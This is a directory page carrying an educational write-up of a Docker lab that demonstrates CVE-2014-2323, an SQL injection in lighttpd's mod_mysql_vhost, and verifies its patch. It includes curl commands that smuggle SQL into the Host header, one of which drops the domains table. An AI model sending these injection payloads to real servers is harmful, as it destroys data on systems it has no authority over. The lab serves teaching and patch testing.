Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
lighty-sqlinj-demo — 针对 lighttpd 的 mod_mysql_vhost 中 CVE-2014-2323 SQL 注入漏洞的教育性利用演示,附带基于 Docker 的实验室,用于动手进行漏洞分析与修补。 | Kitploit
工具/GitHubGitHub/cirocosta/lighty-sqlinj-demo
容器安全漏洞分析Web应用程序漏洞利用学习与教育实验室与实践
GitHubcirocosta/lighty-sqlinj-demo

lighty-sqlinj-demo

针对 lighttpd 的 mod_mysql_vhost 中 CVE-2014-2323 SQL 注入漏洞的教育性利用演示,附带基于 Docker 的实验室,用于动手进行漏洞分析与修补。

查看仓库
8110年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

title: Ep4 - 网络相关漏洞 members:

  • Ciro S. Costa
  • Marcela Terakado date: 2015年11月10日

相关漏洞:

root@kitploit:~
CVE-2014-2323 [1] 被分配给 SQL 注入漏洞。
CVE-2014-2324 [2] 被分配给路径遍历漏洞。

确认: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt

  • 受影响版本: 1.4.34

介绍

  • 解释漏洞
    • 介绍要利用的服务
    • 源码中漏洞的位置
    • 漏洞的修复补丁
  • 准备相关漏洞利用演示
    • 漏洞利用
    • 应用漏洞修复
    • 再次尝试利用
  • lighttpd (lighty)
  • 虚拟主机
    • 准备一台 Lighttpd 服务器
  • SQL
    • SQL 注入
  • Docker
    • 容器网络
  • 演示!
    • 漏洞利用
    • 路径验证

lighttpd (lighty)

要利用的服务是 Lighttpd。这是一个开源(BSD 许可证)的 Web 服务器,针对轻量和快速进行了优化。它最初是作为著名的 c10k 问题(如何在一台服务器上处理 10,000 个并发连接)的“概念验证”而出现的,因此在当时(2003 年)获得了相当大的 popularity,目前被 Whatsapp.com、Xkcd 使用,过去也被 YouTube 使用。它在市场上的定位非常有趣,如下表所示:

Lighttpd 定位 - 流量 vs 网站数量

该服务器通过使用基于事件(BSD 上的 kqueue,Linux 上的 epoll)的异步机制来处理大量连接,减少了对多线程的需求,从而实现了更小的内存占用和更好的 CPU 利用率(Nginx 服务器也采用了这一策略,近年来其使用量显著增加):

服务器市场

lighty 的一个特性是轻松管理虚拟主机。

虚拟主机

这是一种用于托管多个域名的方法,这些域名解析到同一个 IP,从而降低了那些希望提供网站服务的公司的托管成本,因为不需要为每个网站预留一台专用服务器。

该技术可以基于 IP(每个主机一个接口)或基于名称(每个主机一个名称,共享接口)——本次演示将探讨后者。

基于名称

: 利用客户端提供的“主机名”来识别要用哪个服务来响应。这种方法有两个难点:处理安全会话(TLS)时的复杂情况——握手必须在任何指示主机的头信息传递到服务器之前完成,因此使得在握手中确定提供哪个证书变得复杂。一种解决方法是 TLS 的扩展,称为服务器名称指示(SNI),它允许在握手开始时呈现名称,从而能够选择正确的证书。第二个问题是关于在没有明确定义的主机头的情况下尝试连接,导致无法确定要使用的服务。

虚拟主机 - redes.io 虚拟主机 - mac0448.io

基于 IP

: 为每个应用程序使用单独的 IP。然后,Web 服务器被配置为拥有多个物理(或同一物理接口上的虚拟)网络接口,并根据目标 IP 地址进行相应响应。

root@kitploit:~
*IP 别名*允许我们为每个服务创建虚拟接口。

在大型公司中,根据客户数量管理这种映射可能会变得复杂。Lighty 为此提供了使用数据库的支持,我们将在后面展示。

在此之前,让我们看看如何“手动”配置服务器并添加虚拟主机。

准备一台 Lighttpd 服务器

准备一个基本的 lighttpd 服务器非常容易。只需安装它并创建一个配置文件,指定要使用的端口、如何响应特定请求以及其他配置。

我们可以准备一个示例配置,仅负责接收静态文件(.html 或 .txt)的请求:

root@kitploit:~
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

现在假设我们想创建一个基于网站销售的业务,并为买家提供自己的域名。为了最小化成本,我们希望为每个客户创建虚拟主机。假设网络课程希望购买三个网站:redes.io、mac0448.io 和 mac5910.io。我们的公司注册了这些域名,所有域名都指向我们唯一服务器的 IP,该服务器只有一个接口。

ps:为了模拟这一点,我们可以修改 /etc/hosts 文件:

root@kitploit:~
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io

为了能够从单个 IP 解析提供不同客户的网站,我们可以手动配置服务器:

root@kitploit:~
server.document-root = "/usr/lighttpd/default/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

$HTTP["host"] == "redes.io" {
  server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
  server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
  server.document-root = "/usr/lighttpd/mac5910/"
}

但我们可以想象,随着我们要处理大量客户并为每个网站提供不同的配置(如前所述),这会成为一个问题。

使用 mod_mysql_vhost 模块,我们可以将服务器连接到一个负责此映射的 mysql 数据库。然后我们指定数据库名称、如何在网络中定位它以及用于执行查询的命令。

root@kitploit:~
server.modules = (
	"mod_accesslog",
	"mod_mysql_vhost"
)

mysql-vhost.db		= "数据库名称"
mysql-vhost.user	= "用户名"
mysql-vhost.pass	= "密码"

(!!!!!!!!!!!!!!!)
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)

mysql-vhost.hostname	= "主机名"
mysql-vhost.port	= "端口"

SQL

SQL 是一种用于管理关系数据库的声明性语言,被用于 (...) 等

TODO

  • SELECT
  • INSERT
  • UPDATE
  • DELETE
  • DROP
  • (...)

TODO

问题之所以出现,是因为使用 SQL 的数据库管理系统假设插入的命令是管理员知晓并妥善管理的。这种假设并不总是成立,因为与数据库系统交互的应用程序可能存在缺陷,尤其是在与用户交互频繁的 Web 环境中。

SQL 注入

当开始使用由用户提供的文本(例如用户名、密码或任何其他动态内容)来构建 SQL 命令时,问题就出现了。

(TODO)

如何解决?转义。

例如,在我们的配置中,有一个巨大的漏洞:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"

因为(直到版本 1.4.34 就是这样)? 可以被替换为任何命令,然后由 MySQL 执行。

让我们在一个包含 3 个容器的网络中模拟这一点:一个 mysql 服务器和两个 lighttpd 服务器,一个有漏洞,另一个已修复。

Docker

Docker 在操作系统之上提供了一层抽象层,通过使用内核提供的隔离机制(例如 cgroups(隔离一组进程的 CPU、IO、内存和网络使用)和 namespaces())实现虚拟化,而无需另一个操作系统,从而消除了启动和维护虚拟机的所有开销。因此,在资源分配(例如,100 个虚拟机的 1GB 镜像 ==> 100GB。100 个容器的 1GB 镜像 ==> ~1GB。)和处理器共享(以及内核和操作系统本身)方面实现了巨大的优化。容器共有的文件也可以通过分层文件系统进行共享。

Docker vs 虚拟机

对 namespaces 的一个有趣类比是 chroot,它允许一个进程将某个目录视为其整个文件系统的根,从而改变其对系统的视角(而不改变系统的其余部分)。使用 namespaces,我们可以为操作系统的许多其他方面创建这种不同的视角,例如进程树、网络接口、文件系统、IPC 等。

(查看更多: 分离焦虑:使用 Linux 命名空间隔离系统的教程)

应该考虑到,用户可能不希望这种共享和较弱的隔离。

容器网络

在 Docker 守护进程启动时,会在主机上配置一个名为 docker0 的虚拟接口,选择一个主机未使用的子网,然后将一个空闲 IP 分配给该虚拟接口。回想一下,可以使用以下三个范围之一:

root@kitploit:~
   互联网号码分配机构(IANA)为私有互联网保留了以下三个 IP 地址块:

     10.0.0.0        -   10.255.255.255  (10/8 前缀)
     172.16.0.0      -   172.31.255.255  (172.16/12 前缀)
     192.168.0.0     -   192.168.255.255 (192.168/16 前缀)

例如,在我的机器上:

root@kitploit:~
docker0   Link encap:Ethernet  HWaddr 02:42:58:ca:78:6d  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4196391 (4.1 MB)  TX bytes:380442767 (380.4 MB)

对于使用默认网络配置实例化的每个容器,守护进程会配置一个接口(下面示例中,容器 1 的 verth5998947)在主机上(属于 docker0 子网的一部分),并在容器中配置另一个接口(eth0),此外还修改 iptables 配置(允许管理员在主机上定义包处理规则链的表)和 NAT,以便外部流量可以转发到容器。

Docker 网络接口

演示

演示需要在 Linux 机器上正确配置 docker 环境。然后需要创建镜像:

root@kitploit:~
$ ./scripts/create-lighty-image.sh

上面的命令将根据 Dockerfile 创建一个镜像,其中包含 lighttpd 两个版本的源代码:有漏洞的和已修复的。

然后,我们可以实例化代表演示中处理实例的容器以及数据库(也作为一个隔离的容器):

root@kitploit:~
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched

结果如下:

  • mysql 服务器在 lighty-mysqlserver 容器的 3306 端口上监听。
  • lighty 服务器在 lighty-vulnerable 容器的 80 端口上监听。
  • lighty 服务器在 lighty-patched 容器的 80 端口上监听。

容器

要获取容器的 IP 地址,只需执行命令:

root@kitploit:~
$ ./scripts/getips.sh

Docker 容器 IP 地址:
 - lighty-vulnerable:  172.17.0.3
 - lighty-patched:  172.17.0.4
 - lighty-mysqlserver: 172.17.0.2

“模拟机器”已准备就绪,剩下只需要配置 DNS 以便正确解析地址。此时我们可以创建另一个容器,使用 BIND 服务器专门负责 DNS 请求解析,但为了加快速度,我们可以简单地编辑 /etc/hosts:

root@kitploit:~
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io

现在我们需要让 lighttpd 服务器能够使用 mysql 服务器执行虚拟主机任务。为此,我们需要在数据库中插入条目,以便我们的服务器能够根据数据库处理该任务(使用上面的脚本不需要执行以下过程——脚本已经初始化了表):

root@kitploit:~
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| lighttpd           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
    -> domain varchar(64) not null primary key,
    -> docroot varchar(128) not null
    -> );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');

mysql> SELECT * FROM domains;
+------------+------------------------+
| domain     | docroot                |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io   | /usr/lighttpd/redes/   |
+------------+------------------------+

从此刻起,服务器能够基于数据库执行虚拟主机。

漏洞利用

攻击利用在 HTTP 请求中发送的 Host 头解析阶段的漏洞,该 Host 是 IPv6 类型。负责解析的方法允许除主机之外的其他字符被读取并解释为主机。这样做的问题是,如前所示,在搜索虚拟主机的命令中,主机字符串被盲目地(没有进行转义)放入 SQL 命令中:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='主机中来的任何内容';"

一个良性的请求在“嗅探”默认接口 docker0(所有容器间流量都通过此接口)时呈现以下数据包流:

数据包流 - 正常

让我们分析流中的每个组件:

格式正确的 HTTP 请求 HTTP 请求 - 正常

格式正确的 MySQL 请求 MySQL 请求 - 正常

MySQL 响应 MySQL 响应 - 正常

HTTP 响应 HTTP 响应 - 正常

接下来,我们可以利用这个漏洞。

使用 curl,我们可以伪造恶意请求,如 CVE 确认中所述。

root@kitploit:~
$ ./scripts/exploit1
curl --header "Host: []' 错误的语法" redes.io

服务器错误

我们可以清楚地检测到存在一个可被利用的漏洞,因为不应该发生内部服务器错误。对谷歌服务器测试相同的脚本:

root@kitploit:~
$ ./scripts/exploit2
curl --header "Host: []' 错误的语法" www.google.com

<html><title>错误 400 (错误请求)!!1</title></html>% 

通过分析对数据库的请求,我们确认可以攻击数据库:

格式错误的 MySQL 请求 格式错误的 MySQL 请求

MySQL 响应 格式错误的 MySQL 请求的响应

然后,我们可以继续使用破坏性命令!

root@kitploit:~
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io

恶意 HTTP 请求 恶意 HTTP 请求

恶意 MySQL 请求 恶意 MySQL 请求

MySQL 响应 恶意 MySQL 请求的响应

表被删除了!因此,服务器将无法解析默认配置之外的虚拟主机。

补丁验证

由于我们的数据库丢失了虚拟主机表,我们需要恢复它。为此,只需在容器内执行创建表和插入值的进程:

root@kitploit:~
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"

通过再次尝试攻击(现在针对已修复的服务器),我们可以验证补丁是否解决了问题:

root@kitploit:~
$ ./scripts/exploit4

curl --header "Host: []'; DROP TABLE domains;--'" redes.io

然后我们发送恶意 HTTP 请求:

向已修复服务器发送恶意 HTTP 请求 向已修复服务器发送恶意 HTTP 请求

但是,让我们看看网络中的数据包流:

数据包流 数据包流 - 已修复服务器

正如我们所见,由于这是一个恶意数据包,服务器直接返回请求格式错误,并没有向数据库发出任何请求。

补丁

该漏洞在代码的两个部分中体现:mod_mysql_vhost 模块(该模块最终不应该将查询中传入的内容解释为有效命令)和请求处理 request.c。

mod_mysql_vhost.c

在模块中,解决问题的方法很简单,只需包含 MySQL 提供的转义例程,这样如果恰好插入了任何恶意命令,服务器也不会受到影响(因为 MySQL 会指示错误)。

模块补丁

request.c

在请求代码中,处理了 IPv6 地址后字符串没有结束(即没有 \0)的情况。到目前为止,服务器能够根据语法正确识别主机名是否有效(也接受在地址后附带端口的情况),但当端口没有发送(有效的 IPv6 结束)时,没有删除右括号后面的字符串其余部分(右括号表示地址的结束)。

因此:

request.c 补丁

就检查了这种情况。

Commits:

  • 已修补: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
  • 未修补: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f

资源

  • http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
  • http://lighttpd.net/
下载工具